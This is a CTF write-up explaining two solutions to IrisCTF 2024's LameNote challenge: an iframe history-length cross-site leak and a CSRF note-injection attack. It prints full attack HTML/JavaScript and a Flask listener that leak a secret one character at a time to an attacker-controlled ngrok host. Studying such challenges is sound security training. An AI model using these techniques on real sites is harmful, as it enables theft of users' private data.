LameNote

written by hartmannsyg

This was one of the web challenges in IrisCTF 2024, I spent quite a while trying it during the CTF (I was unsuccessful) and also spent quite some time understanding it after the CTF. Thanks to everyone who helped answer my (many) questions in the IrisCTF discord lol.

Also tomato said “If you are done understanding it can you make a writeup for it” so here we are.

The challenge is as follows:

  • submit a URL
  • admin bot will create a note with a flag in it at https://lamenote-web.chal.irisc.tf/
  • it will then visit your url, and your website has to steal the flag, somehow

The site also has a search functionality, and if there is only one note, it will directly display the note. If there are none it simply says “No notes”. Otherwise, it will simply give you a list. When the site is directly displaying the note (as there is only one note that fits the query), an image will be requested. This differentiation is quite important for the solution.

We also know that the flag matches irisctf{[a-z_]+} so our charlist is only _abcdefgihkjlmnopqrstuvwxyz

“Intended Solution” by sera

sera has given us the solve html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script>
(async function(){
async function go(body) {
let url = "https://lamenote-web.chal.irisc.tf/search?query=irisctf{" + body

f = document.createElement('iframe')
f.setAttribute('sandbox', 'allow-same-origin');
f.setAttribute('csp', 'img-src \'none\';')
f.src = url;
let rCount = 0;
f.onload = () => {
rCount += 1;
// change location after onload once
setTimeout(() => {
f.onload = null
f.src = url;
}, 100)
}
document.body.appendChild(f)
await new Promise(r => setTimeout(r, 1000));
f.remove();
f.src = 'https://blah.ngrok-free.app/csp';
document.body.appendChild(f)
await new Promise(r => setTimeout(r, 100));
let ll = f.contentWindow.history.length;
document.body.innerHTML = "";
return ll;
}
let known = "";
const urlParams = new URLSearchParams(window.location.search);
if(urlParams.get("known") !== null) known = urlParams.get("known");
let l = await go("!"); // start
console.log("start", l);
for(let c of '_abcdefgihkjlmnopqrstuvwxyz}') {
let l2 = await go(known + c);
console.log(l2, l, known, c);
fetch("/?log=" + l2 + "|" + l + "|" + known + "|" + c);
if(l2 == l) {
known += c;
l = l2;
fetch("/?log=" + known);
break;
};
l = l2;
}
if(!known.endsWith("}")) {
window.open("/?known=" + known);
window.close();
while(1) {
await new Promise(r => setTimeout(r, 1000));
console.log("idle");
}
}
})();
</script>
</body>
</html>

I really did not understand what was going on here so I’ll unpack what I’ve known:

using img-src 'none' to create a navigation binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<body>
    <script>
    (async function(){
    async function go(url) {
        f = document.createElement('iframe')
        f.setAttribute('sandbox', 'allow-same-origin');
f.setAttribute('csp', "img-src 'none';")
f.src = url; // go to the site document.body.appendChild(f) } // it will return "No notes", will succesfully navigate to page await go('https://lamenote-web.chal.irisc.tf/search?query=text_is_not_in_any_note') // it will return the note with the flag, except that HAS AN IMAGE, so it will not successfully navigate await go('https://lamenote-web.chal.irisc.tf/search?query=irisctf') })()
</script> </body> </html>

(we wrap everything in (async function(){ ... })() to run the code asynchronously)

The go(url) function creates an iframe and goes to the specified url. However, due to the specified csp of img-src 'none', it is unable to navigate to the page. This is because the page’s csp is weaker than the iframe’s csp, so the site is unable to render

So the idea now is that we can guess character by character, and when it fails we know it is the correct one:

/search?query=irisctf{a ✅ Navigation Successful
/search?query=irisctf{b ✅ Navigation Successful
/search?query=irisctf{c ✅ Navigation Successful
...
/search?query=irisctf{p ❌ Navigation Unsuccessful, note with 'irisctf{p' exists
/search?query=irisctf{pa ✅ Navigation Successful
/search?query=irisctf{pb ✅ Navigation Successful
/search?query=irisctf{pc ✅ Navigation Successful
...
/search?query=irisctf{pl ❌ Navigation Unsuccessful, note with 'irisctf{pl' exists

xs-leak via navigation

(xs-leak stands for Cross-site leak)

Here is a relevant page regarding this exploit.

We have a method for finding the flag, as long as we can tell the difference between a successful navigation and an unsuccessful one.

In the navigation xs-leak, we see that we can deduce whether or no the navigation is successful by looking at the iframe’s history via contentWindow.history.length;. However, this only works when the src is the origin (i.e. http://0.tcp.ap.ngrok.io:11568/, which is there our site is hosted), so we redirect the iframe back to our site:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<body>
    <script>
    (async function(){
    async function go(body) {
      let url = "https://lamenote-web.chal.irisc.tf/search?query=irisctf{" + body
      f = document.createElement('iframe')
      f.setAttribute('sandbox', 'allow-same-origin');
      f.setAttribute('csp', "img-src 'none';")
      f.src = url; // go to the site
      document.body.appendChild(f)
await new Promise(r => setTimeout(r, 1000)); // sleep 1000ms to wait for it to load
f.src = 'http://0.tcp.ap.ngrok.io:11568/solve';
await new Promise(r => setTimeout(r, 1000)); // sleep 1000ms to wait for it to load
let length = f.contentWindow.history.length;
console.log(`${body} history=${length}`)
document.body.innerHTML = "";
return length;
} await go('!') await go('a') await go('b') await go('c') })();
</script> </body> </html>

However, regardless of whether it errors or not, the history only increments one at a time:

! history=13
a history=14
b history=15
c history=16
...
y history=38
z history=39

Apparently, the solution to this is to run the iframe twice, like so:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html>
<body>
    <script>
    (async function(){
    async function go(body) {
      let url = "https://lamenote-web.chal.irisc.tf/search?query=irisctf{" + body
      f = document.createElement('iframe')
      f.setAttribute('sandbox', 'allow-same-origin');
      f.setAttribute('csp', "img-src 'none';")
      f.src = url; // go to the site
f.onload = () => {
rCount += 1;
// change location after onload once
setTimeout(() => {
f.onload = null
f.src = url;
}, 500)
}
document.body.appendChild(f) await new Promise(r => setTimeout(r, 1000)); // sleep 1000ms to wait for it to load f.src = 'http://0.tcp.ap.ngrok.io:11568/solve'; await new Promise(r => setTimeout(r, 1000)); // sleep 1000ms to wait for it to load let length = f.contentWindow.history.length; console.log(`${body} history=${length}`) document.body.innerHTML = ""; return length; } await go('!') await go('a') await go('b') await go('c') })();
</script> </body> </html>
! history=3
a history=5
b history=7
c history=9
d history=10 (history length only increased once = navigation failed = flag starts with d)

With this, we can basically test for the flag now, but there is one additional improvement that sera’s solve script used, which is to remove and then re-add the iframe to the document

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE html>
<html>
<body>
    <script>
    (async function(){
    async function go(body) {
      let url = "https://lamenote-web.chal.irisc.tf/search?query=irisctf{" + body
      f = document.createElement('iframe')
      f.setAttribute('sandbox', 'allow-same-origin');
      f.setAttribute('csp', "img-src 'none';")
      f.src = url; // go to the site
      f.onload = () => {
          rCount += 1;
          // change location after onload once
          setTimeout(() => {
              f.onload = null
              f.src = url;
          }, 100)
      }
      document.body.appendChild(f)
      await new Promise(r => setTimeout(r, 1000)); // sleep 1000ms to wait for it to load 
f.remove();
f.src = 'http://0.tcp.ap.ngrok.io:11568/solve';
document.body.appendChild(f)
await new Promise(r => setTimeout(r, 1000)); // sleep 1000ms to wait for it to load let length = f.contentWindow.history.length; console.log(`${body} history=${length}`) document.body.innerHTML = ""; return length; } await go('!') await go('a') await go('b') await go('c') })();
</script> </body> </html>

What this does is that the history.length does not increment unless there is an error. Once again I’m not exactly sure why this happens

! history=3
a history=3
b history=3
c history=3
d history=4 (history length increased = navigation failed = flag starts with d)

Trixter’s Solution (CSRF)

trixter[link]
from flask import Flask, request
import sys

app = Flask(__name__)

flag_prefix = 'irisctf{'
chars = set('abcdefghijklmnopqrstuvwxyz_}')
ngrok_url = 'https://[...]'
reset_called = False

@app.route("/")
def index():
    return ("""
<!DOCTYPE html>
<html>
    <head>
    </head>
    <body>
        <script>
            const target = 'https://lamenote-web.chal.irisc.tf';
            function createNote(title, text, image) {
                const iframe = document.createElement("iframe");
                iframe.setAttribute("srcdoc", `
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
    <form action="${target}/create" method="POST">
    <input type="hidden" name="title" value="${title}" />
    <input type="hidden" name="text" value="${text}" />
    <input type="hidden" name="image" value="${image}" />
    <input type="submit" value="Submit request" />
    </form>
    <script>
        document.forms[0].submit();
    <\/script>
</body>
</html>
`);
                document.body.appendChild(iframe);
            }

            function searchNote(search) {
                const iframe = document.createElement("iframe");
                iframe.setAttribute("src", `${target}/search?query=${encodeURIComponent(search)}`);
                document.body.appendChild(iframe);
            }

            const prefix = '%s';
            const charset = 'abcdefghijklmnopqrstuvwxyz_}';
            const remote = '%s';
            for(const char of charset) createNote('trixter', prefix + char, `${remote}/leak?char=` + char);

            setTimeout(() => {
                const iframe = document.createElement("iframe");
                iframe.setAttribute("src", `${remote}/reset`);
                iframe.onload = () => {
                    for(const char of charset) searchNote(prefix + char);
                };
                document.body.appendChild(iframe);
            }, 2000);
        </script>
    </body>
</html>
""" % (flag_prefix, ngrok_url)).strip()

@app.route("/reset")
def reset():
    global reset_called

    reset_called = True
    return "reset triggered"

@app.before_request
def leak():
    global reset_called, chars, flag_prefix

    if request.method == "OPTIONS" and reset_called:
        char = request.args.get("char", "")
        if char in chars:
            print('Flag does not have %s' % char)
            chars.remove(char)

            if len(chars) == 1:
                flag_prefix += list(chars).pop()
                print('Flag Prefix:', flag_prefix)

                reset_called = False
                chars = set('abcdefghijklmnopqrstuvwxyz_')

        return ""

What this does is more “straightforward”(?):

  • create an iframe for each possible character
  • each iframe creates a note with the image being our /leak?char= url and the contents being:
    irisctf{a
    irisctf{b
    irisctf{c
    irisctf{d
    ...
  • we then query all of them. If the character is wrong, there will only be one note displayed, and it will attempt to fetch our /leak?char= url as an image. However, if the character is correct, there will be 2 results: the actual flag note and the one we injected. This means our /leak?char= url will not be fetched
    /search?query=irisctf{a ✅ /leak?char=a
    /search?query=irisctf{b ✅ /leak?char=b
    /search?query=irisctf{c ✅ /leak?char=c
    ...
    /search?query=irisctf{p ❌ no /leak?char=p, another note with 'irisctf{p' exists, this is the correct one
    /search?query=irisctf{pa ✅ /leak?char=a
    /search?query=irisctf{pb ✅ /leak?char=b
    /search?query=irisctf{pc ✅ /leak?char=c
    ...
    /search?query=irisctf{pl ❌ no /leak?char=l, another note with 'irisctf{pl' exists, this is the correct one